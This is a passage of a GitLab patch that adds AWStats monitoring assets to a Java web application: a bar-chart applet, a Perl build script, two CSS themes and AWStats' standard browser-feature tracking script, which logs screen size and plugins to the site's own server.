zxHhhU(?9pj;f*^eY|+D1#B~0_)IAek|8R*rDjRd2Gw*?2+}ZSxQg;2)Kb7K+PybxC zuh;y8?VgF>KdaTvjg~pGw$CZAnB_)^%&E71EAKpf@zn2l*}XS64i+9id*|tk=Xu8! z)MfmezjMuhS1~!b?|WtU<%7|4kM6m<v*CQvx~H4x>dq-TR@uI}|GMS*r=LG`RekuI zI(5t9H~ZI2NxgM+_gepXTtA=eJpM}joowJ+y#stwr`B(EW|u0`?9#U7zr6RX-+^6e z%M0U^H=n+7`NkWwclj(?#oyC*GC$ar`|b!&_!l#?YoWZFA@bohhIV}V$4~3WE^hw( zpC2^-cxSOe?lxft1`buw_#-2e2m|WyC2VXGG<*piri4-`gP8%|s9F_}MiW7Umry+n t3=Fn7hBA>&0F62#I}9}Hh%n(8_A$r+Z&o&tB4!3=hJ6eS412-$0sv{>ZukHI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/classes/src/AWGraphApplet.java b/src/main/webapp/monitoramento/wwwroot/classes/src/AWGraphApplet.java new file mode 100644 index 0000000..a8517cd --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/classes/src/AWGraphApplet.java @@ -0,0 +1,450 @@ +/* + * @(#)AWGraphApplet.java + * $Revision: 1.6 $ - $Author: eldy $ - $Date: 2004/01/07 22:32:03 $ + * + */ + +import java.applet.Applet; +import java.awt.*; +import java.util.Vector; + + +public class AWGraphApplet extends Applet +{ + + public AWGraphApplet() + { + special = "Not yet defined"; + textVertSpacing = 0; + b_fontsize = 11; + blockSpacing = 5; + valSpacing = 0; + valWidth = 5; + maxLabelWidth = 0; + background_color = Color.white; + border_color = Color.white; + special_color = Color.gray; + backgraph_colorl = Color.decode("#F6F6F6"); + backgraph_colorm = Color.decode("#EDEDED"); + backgraph_colorh = Color.decode("#E0E0E0"); + } + +// public synchronized void init() { + public synchronized void start() + { + special = getParameter("special"); + if (special == null) { special = ""; } + + Log("Applet "+VERSION+" ($Revision: 1.6 $) init"); + + String s = getParameter("b_fontsize"); + if (s != null) { b_fontsize = Integer.parseInt(s); } + + title = getParameter("title"); + if (title == null) { title = "Chart"; } + + s = getParameter("nbblocks"); + if (s != null) { nbblocks = Integer.parseInt(s); } + + s = getParameter("nbvalues"); + if (s != null) { nbvalues = Integer.parseInt(s); } + + s = getParameter("blockspacing"); + if (s != null) { blockSpacing = Integer.parseInt(s); } + s = getParameter("valspacing"); + if (s != null) { valSpacing = Integer.parseInt(s); } + s = getParameter("valwidth"); + if (s != null) { valWidth = Integer.parseInt(s); } + + s = getParameter("orientation"); + if (s == null) { orientation = VERTICAL; } + else if (s.equalsIgnoreCase("horizontal")) { orientation = HORIZONTAL; } + else { orientation = VERTICAL; } + s = getParameter("barsize"); + if (s != null) { barsize = Integer.parseInt(s); } + + s = getParameter("background_color"); + if (s != null) { background_color = Color.decode("#"+s); } + s = getParameter("border_color"); + if (s != null) { border_color = Color.decode("#"+s); } + s = getParameter("special_color"); + if (s != null) { special_color = Color.decode("#"+s); } + + Log("bblocks "+nbblocks); + Log("nbvalues "+nbvalues); + Log("barsize "+barsize); + + font = new Font("Verdana,Arial,Helvetica", 0, b_fontsize); + fontb = new Font("Verdana,Arial,Helvetica", Font.BOLD, b_fontsize); + fontmetrics = getFontMetrics(font); + + blabels = new String[nbblocks]; + vlabels = new String[nbvalues]; + styles = new int[nbvalues]; + max = new float[nbvalues]; + colors = new Color[nbvalues]; + values = new float[nbblocks][nbvalues]; + + for (int i=0; i < nbvalues; i++) { + parseLabel(i); + parseStyle(i); + parseColor(i); + parseMax(i); + } + for (int j=0; j < nbblocks; j++) { + parsebLabel(j); + parseValue(j); + } + for (int i=0; i < nbvalues; i++) { + if (max[i]<=0.0F) { max[i]=1.0F; } + Log("max["+i+"]="+max[i]); + } + } + + private synchronized void Log(String s) + { + System.out.println(getClass().getName()+" ("+special+"): "+s); + } + + private synchronized void parsebLabel(int i) + { + String s = getParameter("b" + (i+1) + "_label"); + if (s==null) { + blabels[i] = ""; + } else { + blabels[i] = s; + } + maxLabelWidth = Math.max(fontmetrics.stringWidth(blabels[i]), maxLabelWidth); + } + + private synchronized void parseLabel(int i) + { + String s = getParameter("v" + (i+1) + "_label"); + if (s==null) { + vlabels[i] = ""; + } else { + vlabels[i] = s; + } + } + + private synchronized void parseStyle(int i) + { + String s = getParameter("v" + (i+1) + "_style"); + if (s == null || s.equalsIgnoreCase("solid")) { + styles[i] = SOLID; + } else if (s.equalsIgnoreCase("striped")) { + styles[i] = STRIPED; + } else { + styles[i] = SOLID; + } + } + + private synchronized void parseColor(int i) + { + String s = getParameter("v" + (i+1) + "_color"); + if (s != null) { + colors[i] = Color.decode("#"+s); + } else { + colors[i] = Color.gray; + } + } + + private synchronized void parseMax(int i) + { + String s = getParameter("v" + (i+1) + "_max"); + if (s != null) { + max[i] = Float.valueOf(s).floatValue(); + } else { + max[i] = 1.0F; + } + } + + private synchronized void parseValue(int i) + { + String s = getParameter("b" + (i+1)); + if (s != null) { + String[] as=split(s," ",0); + for (int j=0; j<as.length; j++) { +// Log("as="+as[j]); + if (as[j].compareTo("?")==0) { values[i][j] = 0; } + else { values[i][j] = Float.parseFloat(as[j]); } +// Log("values["+i+"]["+j+"]="+values[i][j]); + } + } + } + + private String[] split(String s, String c, int iStart) + { + Vector v = new Vector(); + boolean bFin = false; + String sub = ""; + int i=iStart-1; + int iOld = i; + //System.out.println("s = " + s); + while (!bFin) { + iOld = i; + i = s.indexOf(c, iOld+1); + if (i!=-1) { + //System.out.println("i = " + i); + sub = s.substring(iOld+1, i); + } else { + sub = s.substring(iOld+1, s.length()); + bFin=true; + } + //System.out.println("sub = " + sub); + v.addElement(sub); + } + String[] tabS = new String[v.size()]; + for (i=0 ; i<v.size() ; i++) { + tabS[i] = (String)v.elementAt(i); + } + return tabS; + } + + private String remove(String s, String c) + { + Vector v = new Vector(); + boolean bFin = false; + String sub = ""; + int i=-1; + int iOld = i; + //System.out.println("s = " + s); + while (!bFin) { + iOld = i; + i = s.indexOf(c, iOld+1); + if (i!=-1) { + //System.out.println("i = " + i); + sub = s.substring(iOld+1, i); + } else { + sub = s.substring(iOld+1, s.length()); + bFin=true; + } + //System.out.println("sub = " + sub); + v.addElement(sub); + } + sub = ""; + for (i=0 ; i<v.size() ; i++) { + sub += (String)v.elementAt(i); + } + return sub; + } + + private Graphics bfr; + private Image img; + + public void init() + { + img = createImage(this.getSize().width, this.getSize().height); + bfr = img.getGraphics(); + } + + public synchronized void paint(Graphics g) + { + // background and border + bfr.setColor(background_color); + bfr.fillRect(0, 0, getSize().width, getSize().height); + bfr.setColor(border_color); + bfr.drawRect(0, 0, getSize().width, getSize().height); + + // draw the bars and their titles + if(orientation == HORIZONTAL) { paintHorizontal(bfr); } + else { paintVertical(bfr); } + + g.drawImage(this.img, 0, 0, this); + } + + private synchronized void draw3DBar(Graphics g,int x, int y, float w, float h, int shift, Color color) + { + // Draw a 3D bar at pos (x,y) + Polygon polygon = new Polygon(); + int width=new Float(w).intValue(); + int height=new Float(h).intValue(); +// Log("draw3DBar "+x+","+y+","+w+"=>"+width+","+h+"=>"+height); + + polygon.addPoint(x,y); + polygon.addPoint(x+width,y); + polygon.addPoint(x+width,y-height); + polygon.addPoint(x,y-height); + g.setColor(color); + g.fillPolygon(polygon); + g.setColor(color.darker()); + g.drawPolygon(polygon); + Polygon polygon2 = new Polygon(); + polygon2.addPoint(x+width,y); + polygon2.addPoint(x+width+shift,y-shift); + polygon2.addPoint(x+width+shift,y-shift-height); + polygon2.addPoint(x+width,y-height); + g.setColor(color.darker()); + g.fillPolygon(polygon2); + g.setColor(color.darker().darker()); + g.drawPolygon(polygon2); + Polygon polygon3 = new Polygon(); + polygon3.addPoint(x,y-height); + polygon3.addPoint(x+width,y-height); + polygon3.addPoint(x+width+shift,y-height-shift); + polygon3.addPoint(x+shift,y-height-shift); + g.setColor(color); + g.fillPolygon(polygon3); + g.setColor(color.darker()); + g.drawPolygon(polygon3); + } + + private synchronized void paintHorizontal(Graphics g) + { + } + + private synchronized void paintVertical(Graphics g) + { + g.setColor(Color.black); + g.setFont(font); + + int shift=10; + int allbarwidth=(((nbvalues*(valWidth+valSpacing))+blockSpacing)*nbblocks); + int allbarheight=barsize; + int axepointx=(getSize().width-allbarwidth)/2 - 2*shift; + int axepointy = getSize().height - (2*fontmetrics.getHeight()) - 2 - textVertSpacing; + + int cx=axepointx; + int cy=axepointy; + + // Draw axes + Polygon polygon = new Polygon(); + polygon.addPoint(cx,cy); + polygon.addPoint(cx+allbarwidth+3*shift,cy); + polygon.addPoint(cx+allbarwidth+4*shift,cy-shift); + polygon.addPoint(cx+shift,cy-shift); + g.setColor(backgraph_colorl); + g.fillPolygon(polygon); + g.setColor(Color.lightGray); + g.drawPolygon(polygon); + Polygon polygon2 = new Polygon(); + polygon2.addPoint(cx,cy); + polygon2.addPoint(cx+shift,cy-shift); + polygon2.addPoint(cx+shift,cy-shift-barsize); + polygon2.addPoint(cx,cy-barsize); + g.setColor(backgraph_colorh); + g.fillPolygon(polygon2); + g.setColor(Color.lightGray); + g.drawPolygon(polygon2); + Polygon polygon3 = new Polygon(); + polygon3.addPoint(cx+shift,cy-shift); + polygon3.addPoint(cx+allbarwidth+4*shift,cy-shift); + polygon3.addPoint(cx+allbarwidth+4*shift,cy-shift-barsize); + polygon3.addPoint(cx+shift,cy-shift-barsize); + g.setColor(backgraph_colorm); + g.fillPolygon(polygon3); + g.setColor(Color.lightGray); + g.drawPolygon(polygon3); + + cx+=2*shift; + + // Loop on each block + for (int j = 0; j < nbblocks; j++) { + + // Draw the block label +// Log("Write block j="+j+" with cx="+cx); + cy = getSize().height - fontmetrics.getHeight() - 3 - textVertSpacing; + g.setColor(Color.black); + + // Check if bold or highlight + int bold=0; int highlight=0; String label=blabels[j]; + if (blabels[j].indexOf(":")>0) { bold=1; label=remove(blabels[j],":"); } + if (blabels[j].indexOf("!")>0) { highlight=1; label=remove(blabels[j],"!"); } + + if (bold==1) { g.setFont(fontb); } + String as[] = split(label, "\247", 0); + // Write background for block legend + if (highlight==1) { + g.setColor(special_color); + g.fillRect(cx-Math.max(-1+blockSpacing>>1,0),cy-fontmetrics.getHeight()+2,(nbvalues*(valWidth+valSpacing))+Math.max(blockSpacing-2,0)+1,((fontmetrics.getHeight()+textVertSpacing)*as.length)+2); + g.setColor(Color.black); + } + // Write text for block legend + for (int i=0; i<as.length; i++) { + int cxoffset=((nbvalues*(valWidth+valSpacing))-fontmetrics.stringWidth(as[i]))>>1; + if (cxoffset<0) { cxoffset=0; } + g.drawString(as[i], cx+cxoffset, cy); + cy+=fontmetrics.getHeight()+textVertSpacing-1; + } + if (bold==1) { g.setFont(font); } + + // Loop on each value + for (int i = 0; i < nbvalues; i++) { + + cy = getSize().height - fontmetrics.getHeight() - 6 - textVertSpacing; + cy -= fontmetrics.getHeight() - 4; + + // draw the shadow and bar + draw3DBar(g,cx,cy,valWidth,(values[j][i]*(float)barsize)/max[i],SHIFTBAR,colors[i]); + + cy = (int)((float)cy - (values[j][i] + 5F)); + cx += (valWidth + valSpacing); + } + + cx += blockSpacing; + } + } + + public synchronized String getAppletInfo() + { + return "Title: " + title + "\n"; + } + + public synchronized String[][] getParameterInfo() + { + String[][] as = { + {"version", "string", "AWGraphApplet "+VERSION}, + {"copyright", "string", "GPL"}, + {"title", "string", title} + }; + return as; + } + + private static final int VERTICAL = 0; + private static final int HORIZONTAL = 1; + private static final int SOLID = 0; + private static final int STRIPED = 1; + private static final int DEBUG = 3; + private static final int SHIFTBAR = 3; + private static final String VERSION = "1.1"; + + private String title; + private String special; + private Font font; + private Font fontb; + private FontMetrics fontmetrics; + private int orientation; + private int barsize; + + private int nbblocks; + private String blabels[]; + private int b_fontsize; + private int blockSpacing; + private int textVertSpacing; + + private int nbvalues; + private Color colors[]; + private String vlabels[]; + private int styles[]; + private float max[]; + private int valSpacing; + private int valWidth; + + private float values[][]; + + private int maxLabelWidth; + private Color background_color; + private Color border_color; + private Color special_color; + private Color backgraph_colorl; + private Color backgraph_colorm; + private Color backgraph_colorh; +} + + + +// # Applet Applet.getAppletContext().getApplet( "receiver" ) +// that accesses another Applet uniquely identified via a name you assign in the HTML <applet name= tag. +// # Applet Enumeration Applet.getAppletContext().getApplets() +// that gets you a list of all the Applets, of any class, not just yours, running on the page (including yourself). + diff --git a/src/main/webapp/monitoramento/wwwroot/classes/src/Makefile.pl b/src/main/webapp/monitoramento/wwwroot/classes/src/Makefile.pl new file mode 100644 index 0000000..7e1c6ab --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/classes/src/Makefile.pl @@ -0,0 +1,13 @@ +#!/usr/bin/perl + + +$FILENAME=awgraphapplet; + +print "Build class file by compiling .java file\n"; +$ret=`javac AWGraphApplet.java`; +print $ret; + +print "Build jar file\n"; +$ret=`jar cvf ../$FILENAME.jar AWGraphApplet.class`; +print $ret; + diff --git a/src/main/webapp/monitoramento/wwwroot/css/awstats_bw.css b/src/main/webapp/monitoramento/wwwroot/css/awstats_bw.css new file mode 100644 index 0000000..4f1e3b0 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/css/awstats_bw.css @@ -0,0 +1,31 @@ +body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #FFFFFF; margin-top: 0 } +.aws_bodyl { } +.aws_border { background-color: #BBBBBB; padding: 1px 1px 1px 1px; margin-top: 0 } +.aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #BBBBBB; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; } +.aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #FFFFFF; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; } +.aws_data { + background-color: #FFFFFF; + border-top-width: 1px; + border-left-width: 0px; + border-right-width: 0px; + border-bottom-width: 0px; +} +.aws_formfield { font: 13px verdana, arial, helvetica; } +.aws_button { + font-family: arial,verdana,helvetica, sans-serif; + font-size: 12px; + border: 1px solid #ccd7e0; + background-image: url(/awstatsicons/other/button.gif); +} +th { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #000000; } +th.aws { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font-size: 13px; font-weight: bold; } +td { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #000000; } +td.aws { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:left; color: #000000; } +td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; padding: 0px 0px 0px 0px; font: 11px verdana, arial, helvetica, sans-serif; color: #000000; } +b { font-weight: bold; } +a { font: 11px verdana, arial, helvetica, sans-serif; } +a:link { color: #001133; text-decoration: none; } +a:visited { color: #001133; text-decoration: none; } +a:hover { color: #444444; text-decoration: underline; } +div { font: 12px arial,verdana,helvetica; text-align:justify; } +.ctooltip { position:absolute; top:0px; left:0px; z-index:2; width:380; visibility:hidden; font: 8pt MS Comic Sans,arial,sans-serif; background-color: #EEEEEE; padding: 8px; border: 1px solid black; } \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/css/awstats_default.css b/src/main/webapp/monitoramento/wwwroot/css/awstats_default.css new file mode 100644 index 0000000..6eb99de --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/css/awstats_default.css @@ -0,0 +1,31 @@ +body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #FFFFFF; margin-top: 0 } +.aws_bodyl { background-image: url(/awstatsicons/other/backleft.png); background-repeat: repeat-y; } +.aws_border { background-color: #CCCCDD; padding: 1px 1px 1px 1px; margin-top: 0 } +.aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #CCCCDD; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; } +.aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #FFFFFF; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; } +.aws_data { + background-color: #FFFFFF; + border-top-width: 1px; + border-left-width: 0px; + border-right-width: 0px; + border-bottom-width: 0px; +} +.aws_formfield { font: 13px verdana, arial, helvetica; } +.aws_button { + font-family: arial,verdana,helvetica, sans-serif; + font-size: 12px; + border: 1px solid #ccd7e0; + background-image: url(/awstatsicons/other/button.gif); +} +th { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #000000; } +th.aws { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font-size: 13px; font-weight: bold; } +td { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #000000; } +td.aws { border-color: #ECECEC; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 0px; padding: 2px 2px 2px 2px; font: 11px verdana, arial, helvetica, sans-serif; text-align:left; color: #000000; } +td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; padding: 0px 0px 0px 0px; font: 11px verdana, arial, helvetica, sans-serif; color: #000000; } +b { font-weight: bold; } +a { font: 11px verdana, arial, helvetica, sans-serif; } +a:link { color: #0011BB; text-decoration: none; } +a:visited { color: #0011BB; text-decoration: none; } +a:hover { color: #605040; text-decoration: underline; } +div { font: 12px arial,verdana,helvetica; text-align:justify; } +.ctooltip { position:absolute; top:0px; left:0px; z-index:2; width:380; visibility:hidden; font: 8pt MS Comic Sans,arial,sans-serif; background-color: #FFFFE6; padding: 8px; border: 1px solid black; } \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/js/awstats_misc_tracker.js b/src/main/webapp/monitoramento/wwwroot/js/awstats_misc_tracker.js new file mode 100644 index 0000000..0ffd5b3 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/js/awstats_misc_tracker.js @@ -0,0 +1,161 @@ +// awstats_misc_tracker.js +//------------------------------------------------------------------- +// You can add this file onto some of your web pages (main home page can +// be enough) by adding the following HTML code to your page body: +// +// <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script> +// <noscript><p><img src="/js/awstats_misc_tracker.js?nojs=y" alt="" height="0" width="0" style="display: none" /></p></noscript> + +// +// * This must be added after the <body> tag, not placed within the +// <head> tags, or the resulting tracking <img> tag will not be handled +// correctly by all browsers. Internet explorer will also not report +// screen height and width attributes until it begins to render the +// body. +// +// This allows AWStats to be enhanced with some miscellanous features: +// - Screen size detection (TRKscreen) +// - Browser size detection (TRKwinsize) +// - Screen color depth detection (TRKcdi) +// - Java enabled detection (TRKjava) +// - Macromedia Director plugin detection (TRKshk) +// - Macromedia Shockwave plugin detection (TRKfla) +// - Realplayer G2 plugin detection (TRKrp) +// - QuickTime plugin detection (TRKmov) +// - Mediaplayer plugin detection (TRKwma) +// - Acrobat PDF plugin detection (TRKpdf) +//------------------------------------------------------------------- + +// If you use pslogger.php to generate your log, you can change this line with +// var awstatsmisctrackerurl="pslogger.php?loc=/js/awstats_misc_tracker.js"; +var awstatsmisctrackerurl="/js/awstats_misc_tracker.js"; + +var TRKresult; +var TRKscreen, TRKwinsize, TRKcdi, TRKjava, TRKshk, TRKsvg, TRKfla; +var TRKrp, TRKmov, TRKwma, TRKpdf, TRKpdfver, TRKuserid, TRKsessionid; +var TRKnow, TRKbegin, TRKend; +var TRKnse, TRKn; + +function awstats_setCookie(TRKNameOfCookie, TRKvalue, TRKexpirehours) { + TRKExpireDate = new Date (); + TRKExpireDate.setTime(TRKExpireDate.getTime() + (TRKexpirehours * 3600 * 1000)); + document.cookie = TRKNameOfCookie + "=" + escape(TRKvalue) + "; path=/" + ((TRKexpirehours == null) ? "" : "; expires=" + TRKExpireDate.toGMTString()); +} + +//function awstats_runvbscript() { +// TRKresult = false; +// p=false; +// document.write('<SCRIPT LANGUAGE="VBScript">\non error resume next \n p = IsObject(CreateObject("PDF.PdfCtrl.5")) \n if (p) then \n msgbox("5") \n return true \n end if</SCRIPT>\n'); +// alert(p); +// if (TRKresult) return 'y'; +// else return 'n'; +//} + +function awstats_detectIE(TRKClassID) { + TRKresult = false; // !!! Adding var in front of TRKresult break detection !!! + document.write('<SCR' + 'IPT LANGUAGE="VBScript">\n on error resume next \n TRKresult = IsObject(CreateObject("' + TRKClassID + '")) \n </SCR' + 'IPT>\n'); + if (TRKresult) return 'y'; + else return 'n'; +} + +function awstats_detectNS(TRKClassID) { + TRKn = "n"; + if (TRKnse.indexOf(TRKClassID) != -1) if (navigator.mimeTypes[TRKClassID].enabledPlugin != null) TRKn = "y"; + return TRKn; +} + +function awstats_getCookie(TRKNameOfCookie){ + if (document.cookie.length > 0){ + TRKbegin = document.cookie.indexOf(TRKNameOfCookie+"="); + if (TRKbegin != -1) { + TRKbegin += TRKNameOfCookie.length+1; + TRKend = document.cookie.indexOf(";", TRKbegin); + if (TRKend == -1) TRKend = document.cookie.length; + return unescape(document.cookie.substring(TRKbegin, TRKend)); + } + return null; + } + return null; +} + +if (window.location.search == "" || window.location.search == "?") { + // If no query string + TRKnow = new Date(); + TRKscreen=screen.width+"x"+screen.height; + if (navigator.appName != "Netscape") { TRKcdi=screen.colorDepth; } + else {TRKcdi=screen.pixelDepth}; + TRKjava=navigator.javaEnabled(); + TRKuserid=awstats_getCookie("AWSUSER_ID"); + TRKsessionid=awstats_getCookie("AWSSESSION_ID"); + var TRKrandomnumber=Math.floor(Math.random()*10000); + if (TRKuserid == null || (TRKuserid=="")) { TRKuserid = "awsuser_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; } + if (TRKsessionid == null || (TRKsessionid=="")) { TRKsessionid = "awssession_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; } + awstats_setCookie("AWSUSER_ID", TRKuserid, 10000); + awstats_setCookie("AWSSESSION_ID", TRKsessionid, 1); + TRKuserid=""; TRKuserid=awstats_getCookie("AWSUSER_ID"); + TRKsessionid=""; TRKsessionid=awstats_getCookie("AWSSESSION_ID"); + + var TRKnav=navigator.appName.toLowerCase(); // "internet explorer" or "netscape" + var TRKagt=navigator.userAgent.toLowerCase(); // "msie...", "mozilla...", "firefox..." + //alert(TRKnav); alert(TRKagt); + + var TRKwin = ((TRKagt.indexOf("win")!=-1) || (TRKagt.indexOf("32bit")!=-1)); + var TRKmac = (TRKagt.indexOf("mac")!=-1); + + var TRKns = (TRKnav.indexOf("netscape") != -1); + var TRKopera= (TRKnav.indexOf("opera") != -1); + var TRKie = (TRKagt.indexOf("msie") != -1); + + // Detect the browser internal width and height + var TRKwinsize; + if (document.documentElement && document.documentElement.clientWidth) + TRKwinsize = document.documentElement.clientWidth + 'x' + document.documentElement.clientHeight; + else if (document.body && document.body.clientWidth) + TRKwinsize = document.body.clientWidth + 'x' + document.body.clientHeight; + else + TRKwinsize = window.innerWidth + 'x' + window.innerHeight; + + if (TRKie && TRKwin) { + TRKshk = awstats_detectIE("SWCtl.SWCtl.1"); + TRKsvg = awstats_detectIE("Adobe.SVGCtl"); + TRKfla = awstats_detectIE("ShockwaveFlash.ShockwaveFlash.1"); + TRKrp = awstats_detectIE("rmocx.RealPlayer G2 Control.1"); + TRKmov = awstats_detectIE("Quicktime.Quicktime"); + TRKwma = awstats_detectIE("wmplayer.ocx"); + TRKpdf = 'n'; TRKpdfver=''; + if (awstats_detectIE("PDF.PdfCtrl.1") == 'y') { TRKpdf = 'y'; TRKpdfver='4'; } // Acrobat 4 + if (awstats_detectIE('PDF.PdfCtrl.5') == 'y') { TRKpdf = 'y'; TRKpdfver='5'; } // Acrobat 5 + if (awstats_detectIE('PDF.PdfCtrl.6') == 'y') { TRKpdf = 'y'; TRKpdfver='6'; } // Acrobat 6 + if (awstats_detectIE('AcroPDF.PDF.1') == 'y') { TRKpdf = 'y'; TRKpdfver='7'; } // Acrobat 7 + } + if (TRKns || !TRKwin) { + TRKnse = ""; + for (var TRKi=0;TRKi<navigator.mimeTypes.length;TRKi++) TRKnse += navigator.mimeTypes[TRKi].type.toLowerCase(); + TRKshk = awstats_detectNS("application/x-director",""); + TRKsvg = awstats_detectNS("image/svg+xml",""); + if (document.implementation.hasFeature("org.w3c.dom.svg", "")) {TRKsvg = "y"; } + TRKfla = awstats_detectNS("application/x-shockwave-flash"); // ou lire dans naviagtor.plugins si on trouve "Shockwave Flash" ou "Shockwav Flash 2.0" + TRKrp = awstats_detectNS("audio/x-pn-realaudio-plugin"); + TRKmov = awstats_detectNS("video/quicktime"); + TRKwma = awstats_detectNS("application/x-mplayer2"); + TRKpdf = awstats_detectNS("application/pdf"); + TRKpdfver=''; + } + + var imgsrc1 = awstatsmisctrackerurl+'?screen='+TRKscreen+'&win='+TRKwinsize+'&cdi='+TRKcdi+'&java='+TRKjava; + var imgsrc2 = '&shk='+TRKshk+'&svg='+TRKsvg+'&fla='+TRKfla+'&rp='+TRKrp+'&mov='+TRKmov+'&wma='+TRKwma+'&pdf='+TRKpdf+'&uid='+TRKuserid+'&sid='+TRKsessionid; + //alert(imgsrc1); + //alert(imgsrc2); + var imgsrc=imgsrc1+imgsrc2; + if( document.createElementNS ) { + var l=document.createElementNS("http://www.w3.org/1999/xhtml","img"); + l.setAttribute("src", imgsrc ); + l.setAttribute("height", "0"); + l.setAttribute("width", "0"); + l.setAttribute("border", "0"); + document.getElementsByTagName("body")[0].appendChild(l); + } else { + document.write('<img style="display:none;" src="'+ imgsrc +'" height="0" width="0" border="0" />') + } + +} -- GitLab